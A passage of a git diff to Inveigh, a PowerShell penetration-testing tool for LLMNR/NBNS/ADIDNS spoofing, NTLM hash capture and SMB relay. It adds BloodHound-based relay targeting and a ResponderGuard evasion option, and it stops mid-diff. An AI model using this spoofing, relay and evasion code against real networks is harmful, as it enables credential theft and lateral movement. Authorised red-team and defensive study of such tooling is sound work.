-                        $tree_ID = $SMB_client_receive[40..43]
+                        $tree_ID = $client_receive[40..43]
                         Start-Sleep -s 1
                         $message_ID++
                         $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $process_ID_bytes $tree_ID $session_ID
@@ -6205,13 +6083,13 @@ $session_refresh_scriptblock =
                         $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
 
                         try
                         {
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                            $client_stream.Write($client_send,0,$client_send.Length) > $null
+                            $client_stream.Flush()
+                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
                         }
                         catch
                         {
@@ -6254,8 +6132,8 @@ function HTTPListener
     $HTTP_powershell.AddScript($packet_functions_scriptblock) > $null
     $HTTP_powershell.AddScript($SMB_relay_functions_scriptblock) > $null
     $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument(
-        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument(
-        $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument(
+        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument(
+        $HTTPIP).AddArgument($HTTPPort).AddArgument(
         $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
         $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument(
         $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument(
@@ -6279,8 +6157,8 @@ function HTTPSListener
     $HTTPS_powershell.AddScript($packet_functions_scriptblock) > $null
     $HTTPS_powershell.AddScript($SMB_relay_functions_scriptblock) > $null
     $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument(
-        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument(
-        $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument(
+        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument(
+        $HTTPIP).AddArgument($HTTPSPort).AddArgument(
         $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
         $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument(
         $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument(
@@ -6304,8 +6182,8 @@ function ProxyListener
     $proxy_powershell.AddScript($packet_functions_scriptblock) > $null
     $proxy_powershell.AddScript($SMB_relay_functions_scriptblock) > $null
     $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument(
-        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument(
-        $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument(
+        $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument(
+        $ProxyIP).AddArgument($ProxyPort).AddArgument(
         $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
         $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument(
         $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument(
@@ -6371,7 +6249,10 @@ if($Proxy -eq 'Y')
 }
 
 # Control Relay Loop Start
-ControlRelayLoop
+if(!$inveigh.running)
+{
+    ControlRelayLoop
+}
 
 # Session Refresh Loop Start
 if($SessionRefresh -gt 0)
@@ -6392,12 +6273,12 @@ try
             $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
         }
 
-        :console_loop while($inveigh.relay_running -and $inveigh.console_output)
+        :console_loop while(($inveigh.relay_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
         {
 
             while($inveigh.console_queue.Count -gt 0)
             {
-
+                
                 switch -wildcard ($inveigh.console_queue[0])
                 {
 
@@ -6474,7 +6355,7 @@ try
                     }
 
                 }
-
+                
             }
 
             if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout)
@@ -6631,52 +6512,12 @@ Stop-Inveigh will stop all running Inveigh functions.
     if($inveigh)
     {
         $inveigh.stop = $true
-
+        
         if($inveigh.running -or $inveigh.relay_running)
         {
             $inveigh.console_queue.Clear()
             Watch-Inveigh -NoConsoleMessage
-
-            <#
-            if($inveigh.relay_running)
-            {
-                $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting"
-
-                if($inveigh.file_output)
-                {
-                    $output | Out-File $Inveigh.log_out_file -Append
-                }
-
-                if($inveigh.log_output)
-                {
-                    $inveigh.log.Add($output)  > $null
-                }
-
-                Write-Output $output
-                $inveigh.relay_running = $false
-            } 
-
-            if($inveigh.running)
-            {
-                $output = "[*] [$(Get-Date -format s)] Inveigh is exiting"
-
-                if($inveigh.file_output)
-                {
-                    $output | Out-File $Inveigh.log_out_file -Append
-                }
-
-                if($inveigh.log_output)
-                {
-                    $inveigh.log.Add($output)  > $null
-                }
-
-                Write-Output $output
-                $inveigh.running = $false
-            }
-
-            $inveigh.HTTPS = $false
-            #>
-            Start-Sleep -S 5
+            Start-Sleep -S 2
         }
         else
         {
@@ -6805,12 +6646,12 @@ Get relay session list.
     if($DNS)
     {
 
-        foreach($DNS in $inveigh.DNS_list)
+        foreach($DNS_host in $inveigh.ADIDNS_table.Keys)
         {
             
-            if($DNS.StartsWith("1,"))
+            if($inveigh.ADIDNS_table.$DNS_host -eq 1)
             {
-                Write-Output $DNS.Substring(2)
+                Write-Output $DNS_host
             }
 
         }
@@ -6820,12 +6661,12 @@ Get relay session list.
     if($DNSFailed)
     {
 
-        foreach($DNS in $inveigh.DNS_list)
+        foreach($DNS_host in $inveigh.ADIDNS_table.Keys)
         {
             
-            if($DNS.StartsWith("0,"))
+            if($inveigh.ADIDNS_table.$DNS_host -eq 0)
             {
-                Write-Output $DNS.Substring(2)
+                Write-Output $DNS_host
             }
 
         }
@@ -6938,7 +6779,7 @@ Get relay session list.
 
     if($Enumeration)
     {
-        Write-Output $inveigh.enumeration_data | Format-Table
+        Write-Output $inveigh.enumerated_data | Format-Table
     }
 
 }
@@ -6956,6 +6797,7 @@ Watch-Inveigh will enabled real time console output. If using this function thro
 [CmdletBinding()]
 param
 ( 
+    [parameter(Mandatory=$false)][Switch]$NoConsoleMessage,
     [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y",
     [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
 )
@@ -6965,7 +6807,12 @@ if($inveigh.tool -ne 1)
 
     if($inveigh.running -or $inveigh.relay_running)
     {
-        Write-Output "[*] Press any key to stop real time console output"
+
+        if(!$NoConsoleMessage)
+        {
+            Write-Output "[*] Press any key to stop console output"
+        }
+        
         $inveigh.console_output = $true
 
         :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
@@ -7062,6 +6909,242 @@ if($inveigh)
 
 }
 
-#endregion
+}
+
+function ConvertTo-Inveigh
+{
+    <#
+    .SYNOPSIS
+    ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerated_data
+    for Inveigh Relay targeting.
+    #>
+
+    [CmdletBinding()]
+    param
+    ( 
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundComputersJSON,
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundSessionsJSON,
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundGroupsJSON,
+        [parameter(Mandatory=$false)][Switch]$DNS,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if(!$inveigh)
+    {
+        $global:inveigh = [HashTable]::Synchronized(@{})
+        $inveigh.cleartext_list = New-Object System.Collections.ArrayList
+        $inveigh.IP_capture_list = New-Object System.Collections.ArrayList
+        $inveigh.log = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
+        $inveigh.POST_request_list = New-Object System.Collections.ArrayList
+        $inveigh.valid_host_list = New-Object System.Collections.ArrayList
+        $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{})
+        $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{})
+        $inveigh.relay_history_table = [HashTable]::Synchronized(@{})
+        $inveigh.request_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_socket_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_lock_table = [HashTable]::Synchronized(@{})
+        $inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
+        $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
+        $inveigh.group_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_count = 0
+        $inveigh.session_list = @()
+        $inveigh.enumerated_data = @()
+    }
+
+    function New-RelayEnumObject
+    {
+        param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped,
+        $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute)
+
+        if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)}
+        if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)}
+        if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)}
+        if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)}
+        if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)}
+        if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)}
+        if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)}
+        if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)}
+
+        $relay_object = New-Object PSObject
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execure
+        
+        return $relay_object
+    }
+
+    function Get-DNSEntry([String]$hostname)
+    {
+
+        try
+        {
+            $IP_list = [System.Net.Dns]::GetHostEntry($hostname)
+
+            foreach($entry in $IP_list.AddressList)
+            {
+
+                if(!$entry.IsIPv6LinkLocal)
+                {
+                    $IP = $entry.IPAddressToString
+                }
+
+            }
+                    
+        }
+        catch
+        {
+            $IP = $null
+        }
+
+        return $IP
+    }
+
+    if($BloodHoundComputersJSON)
+    {
+        $bloodHound_computers_JSON = Get-Content $BloodHoundComputersJSON
+        $bloodhound_computers = ConvertFrom-Json -InputObject $bloodhound_computers_JSON
+
+        $bloodhound_computers.Computers | ForEach-Object {
+            $hostname = $_.Name
+            [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name
+            [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name
+
+            if($DNS)
+            {
+                $IP = Get-DNSEntry $hostname
+
+                if(!$IP)
+                {
+                    Write-Output "[-] DNS lookup for $Hostname failed"
+                }
+
+            }
+
+            if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})))
+            {
+
+                if(!($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname}) -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1
+                    $inveigh.enumerated_data[$target_index].Hostname = $hostname
+                }
+                else
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1
+                }
+
+                $inveigh.enumerated_data[$target_index]."Administrator Users" = $local_admin_users
+                $inveigh.enumerated_data[$target_index]."Administrator Groups" = $local_admin_groups
+            }
+            else
+            {
+                $inveigh.enumerated_data += New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups
+            }
+
+            $IP = $null
+            $hostname = $null
+            $local_admin_users = $null
+            $local_admin_groups = $null
+            $target_index = $null
+        }
+
+    }
+
+    if($BloodHoundSessionsJSON)
+    {
+        $bloodhound_sessions_JSON = Get-Content $BloodHoundSessionsJSON
+        $bloodhound_sessions = ConvertFrom-Json -InputObject $bloodhound_sessions_JSON
+
+        $bloodhound_sessions.Sessions | ForEach-Object {
+            $hostname = $_.ComputerName
+
+            if($hostname -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
+            {
+                $IP = $hostname
+                $hostname = $null
+            }
+            else
+            {
+
+                if($DNS)
+                {
+                    $IP = Get-DNSEntry $hostname
+
+                    if(!$IP)
+                    {
+                        Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address"
+                    }
+
+                }
+
+            }
+
+            if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})))
+            {
+
+                if($IP)
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1
+                }
+                else
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1
+                }
+
+                [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions
+                 
+                if($session_list -notcontains $_.UserName)
+                {
+                    $session_list += $_.UserName
+                    $inveigh.enumerated_data[$target_index].Sessions = $session_list
+                }
+
+            }
+            else
+            {   
+                $inveigh.enumerated_data += New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName
+            }
+
+            $hostname = $null
+            $IP = $null
+            $session_list = $null
+            $target_index = $null
+        }
+    }
+    
+    if($BloodHoundGroupsJSON)
+    {
+        $bloodhound_groups_JSON = Get-Content $BloodHoundGroupsJSON
+        $bloodhound_groups = ConvertFrom-Json -InputObject $bloodhound_groups_JSON
+        
+        $bloodhound_groups.Groups | ForEach-Object {
+            [Array]$group_members = $_.Members | Select-Object -expand MemberName
+            $inveigh.group_table.Add($_.Name,$group_members)
+            $group_members = $null
+        }
+
+    }
+
+}
 
-}
\ No newline at end of file
+#endregion
\ No newline at end of file
diff --git a/Inveigh.ps1 b/Inveigh.ps1
index 87f0a56..449c191 100644
--- a/Inveigh.ps1
+++ b/Inveigh.ps1
@@ -12,31 +12,35 @@ challenge/response capture over HTTP/HTTPS/Proxy/SMB.
 Default = Disabled: (Combo/Wildcard) Enable an ADIDNS spoofing attack. Combo looks at LLMNR/NBNS requests and adds
 a record to DNS if the same request is received from multiple systems. Wildcard injects a wildcard record. 
 
+.PARAMETER ADIDNSCleanup
+Default = Enabled: Enable/Disable removing added ADIDNS records upon shutdown.
+
 .PARAMETER ADIDNSCredential
-PSCredential object that will be used with ADIDNS spoofing. 
+PSCredential object that will be used with ADIDNS spoofing.
 
 .PARAMETER ADIDNSDomain
-The targeted domain in DNS format. This parameter is required when using an IP address in the
-ADIDNSDomainController parameter.
+The targeted domain in DNS format.
 
 .PARAMETER ADIDNSDomainController
 Domain controller to target. This parameter is mandatory on a non-domain attached system.
 
+.PARAMETER ADIDNSForest
+The targeted forest in DNS format.
+
 .PARAMETER ADIDNSHostsIgnore
 Comma seperated list of hosts that will be ignored with ADIDNS spoofing.
 
-.PARAMETER ADIDNSIP
-IP address for ADIDNS spoofing. This parameter is only necessary when redirecting victims to a system other than
-the Inveigh host.
-
 .PARAMETER ADIPartition
-Default = DomainDNSZones: (DomainDNSZones/ForestDNSZone) The AD partition name where the zone is stored.
+Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
 
 .PARAMETER ADIDNSThreshold
 Default = 4: The threshold used to determine when ADIDNS records are injected for the combo attack. Inveigh will
 track identical LLMNR and NBNS requests received from multiple systems. DNS records will be injected once the
 system count for identical LLMNR and NBNS requests exceeds the threshold.
 
+.PARAMETER ADIDNSTTL
+Default = 600 Seconds: DNS TTL in seconds for added A records.
+
 .PARAMETER ADIDNSZone
 The ADIDNS zone.
 
@@ -59,13 +63,15 @@ displaying full capture lists when running through a shell that does not have ac
 Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname,
 and username combinations when real time console output is enabled.
 
-.PARAMETER ADIDNSTTL
-Default = 600 Seconds: DNS TTL in seconds for added A records.
-
 .PARAMETER ElevatedPrivilege
 Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with
 elevated privilege. If so, options that require elevated privilege can be used.
 
+.PARAMETER EvadeRG
+Defauly = Enabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address
+rather than a broadcast/multicast address. This technique is used by ResponderGuard to discover spoofers across
+subnets.
+
 .PARAMETER FileOutput
 Default = Disabled: (Y/N) Enable/Disable real time file output.
 
@@ -107,14 +113,6 @@ wpad.dat requests.
 .PARAMETER HTTPDefaultEXE
 EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. 
 
-.PARAMETER HTTPResetDelay
-Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers
-will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the
-chance of capturing authentication through a popup box with some browsers (Firefox).
-
-.PARAMETER HTTPResetDelayTimeout
-Default = 30 Seconds: HTTPResetDelay timeout in seconds.
-
 .PARAMETER HTTPResponse
 Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests.
 This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary.
@@ -182,7 +180,10 @@ Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer wil
 HTTP request is received.
 
 .PARAMETER NBNSBruteForceTarget
-IP address to target for NBNS brute force spoofing. 
+IP address to target for NBNS brute force spoofing.
+
+.PARAMETER NBNSNonPrintable
+Default = Enabled: (Y/N) Enable/Disable answering NBNS requests for non-printable host names.
 
 .PARAMETER NBNSTTL
 Default = 165 Seconds: NBNS TTL in seconds for the response packet.
@@ -193,7 +194,7 @@ Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Serv
 
 .PARAMETER OutputStreamOnly
 Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if
-running Inveigh through a shell that does not return other output streams.Note that you will not see the various
+running Inveigh through a shell that does not return other output streams. Note that you will not see the various
 yellow warning messages if enabled.
 
 .PARAMETER Proxy
@@ -216,6 +217,12 @@ cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox
 -SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by
 closing and reopening.
 
+.PARAMETER RunCount
+Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting.
+
+.PARAMETER RunTime
+(Integer) Run time duration in minutes.
+
 .PARAMETER ShowHelp
 Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
 
@@ -257,18 +264,20 @@ hostname that has already been checked if SpooferLearning is enabled.
 Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user
 challenge/response has been captured.
 
+.PARAMETER SpooferThresholdHost
+(Integer) Number of matching LLMNR/NBNS name requests to receive before Inveigh will begin responding to those
+requests.
+
+.PARAMETER SpooferThresholdNetwork
+(Integer) Number of matching LLMNR/NBNS requests to receive from different systems before Inveigh will begin
+responding to those requests. 
+
 .PARAMETER StartupChecks
 Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup.
 
 .PARAMETER StatusOutput
 Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
 
-.PARAMETER RunCount
-Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting.
-
-.PARAMETER RunTime
-(Integer) Run time duration in minutes.
-
 .PARAMETER Tool
 Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's
 PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire.
@@ -344,8 +353,7 @@ https://github.com/Kevin-Robertson/Inveigh
 [CmdletBinding()]
 param
 ( 
-    [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"),    
-    [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox",
+    [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"),
     [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox",
     [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "",
     [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "",
@@ -359,7 +367,6 @@ param
     [parameter(Mandatory=$false)][Int]$ADIDNSTTL = "600",
     [parameter(Mandatory=$false)][Int]$HTTPPort = "80",
     [parameter(Mandatory=$false)][Int]$HTTPSPort = "443",
-    [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30",
     [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30",
     [parameter(Mandatory=$false)][Int]$mDNSTTL = "120",
     [parameter(Mandatory=$false)][Int]$NBNSTTL = "165",
@@ -370,8 +377,11 @@ param
     [parameter(Mandatory=$false)][Int]$WPADPort = "",
     [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "",
     [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30",
+    [parameter(Mandatory=$false)][Int]$SpooferThresholdHost = "0",
+    [parameter(Mandatory=$false)][Int]$SpooferThresholdNetwork = "0",
     [parameter(Mandatory=$false)][String]$ADIDNSDomain = "",
     [parameter(Mandatory=$false)][String]$ADIDNSDomainController = "",
+    [parameter(Mandatory=$false)][String]$ADIDNSForest = "",
     [parameter(Mandatory=$false)][String]$ADIDNSZone = "",
     [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS",
     [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html",
@@ -385,8 +395,9 @@ param
     [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Combo","Wildcard")][String]$ADIDNS,
-    [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$ADIDNSPartition = "DomainDNSZones",
-    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Evade = "Y",
+    [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$ADIDNSPartition = "DomainDNSZones",
+    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ADIDNSCleanup = "Y",
+    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$EvadeRG = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y",
@@ -396,8 +407,9 @@ param
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N",
-    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N",
+    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N",
+    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSNonprintable = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y",
@@ -418,7 +430,6 @@ param
     [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "",
     [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "",
     [parameter(Mandatory=$false)][Switch]$Inspect,
-    [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ADIDNSIP = "",
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0",
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "",
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "",
@@ -456,18 +467,13 @@ if(!$IP)
 
 if(!$SpooferIP)
 {
-    $SpooferIP = $IP  
+    $SpooferIP = $IP
 }
 
 if($ADIDNS)
 {
 
-    if($ADIDNS -and !$ADIDNSIP)
-    {
-        $ADIDNSIP = $SpooferIP
-    }
-
-    if(!$ADIDNSDomainController -or !$ADIDNSDomain -or !$ADIDNSZone)
+    if(!$ADIDNSDomainController -or !$ADIDNSDomain -or $ADIDNSForest -or !$ADIDNSZone)
     {
 
         try
@@ -489,6 +495,11 @@ if($ADIDNS)
         {
             $ADIDNSDomain = $current_domain.Name
         }
+
+        if(!$ADIDNSForest)
+        {
+            $ADIDNSForest = $current_domain.Forest
+        }
     
         if(!$ADIDNSZone)
         {
@@ -553,11 +564,10 @@ if(!$inveigh)
     $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
     $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
     $inveigh.POST_request_list = New-Object System.Collections.ArrayList
-    $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList
     $inveigh.valid_host_list = New-Object System.Collections.ArrayList
-    $inveigh.DNS_table = [HashTable]::Synchronized(@{})
+    $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{})
     $inveigh.relay_privilege_table = [HashTable]::Synchronized(@{})
-    $inveigh.relay_failed_auth_table = [HashTable]::Synchronized(@{})
+    $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{})
     $inveigh.relay_history_table = [HashTable]::Synchronized(@{})
     $inveigh.request_table = [HashTable]::Synchronized(@{})
     $inveigh.session_socket_table = [HashTable]::Synchronized(@{})
@@ -566,9 +576,10 @@ if(!$inveigh)
     $inveigh.session_lock_table = [HashTable]::Synchronized(@{})
     $inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
     $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
+    $inveigh.group_table = [HashTable]::Synchronized(@{})
     $inveigh.session_count = 0
     $inveigh.session_list = @()
-    $inveigh.enumeration_data = @()
+    $inveigh.enumerated_data = @()
 }
 
 if($inveigh.running)
@@ -611,6 +622,7 @@ else
  
     if($ElevatedPrivilege -eq 'Y')
     {
